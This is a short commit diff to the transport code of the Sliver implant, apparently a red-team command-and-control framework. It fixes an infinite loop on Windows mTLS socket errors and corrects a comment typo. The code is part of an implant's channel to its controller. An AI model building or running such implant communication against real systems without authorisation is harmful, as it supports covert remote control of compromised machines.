Fixed inf loop in implant on certain types of mtls socket errors (Win…

…dows)

implant/sliver/transports/tcp-mtls.go

@@ -40,7 +40,7 @@ import (
 
 // socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
 // which is a fancy way of saying we write the length of the message then the message
-// e.g. [uint32 length|message] so the reciever can delimit messages properly
+// e.g. [uint32 length|message] so the receiver can delimit messages properly
 func socketWriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
 	data, err := proto.Marshal(envelope)
 	if err != nil {
@@ -97,7 +97,7 @@ func socketReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
 		// {{if .Config.Debug}}
 		log.Printf("Unmarshaling envelope error: %v", err)
 		// {{end}}
-		return &pb.Envelope{}, err
+		return nil, err
 	}
 
 	return envelope, nil

implant/sliver/transports/transports.go

@@ -319,7 +319,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 			if err == io.EOF {
 				break
 			}
-			if err == nil {
+			if err != io.EOF && err != nil {
+				break
+			}
+			if envelope != nil {
 				recv <- envelope
 			}
 		}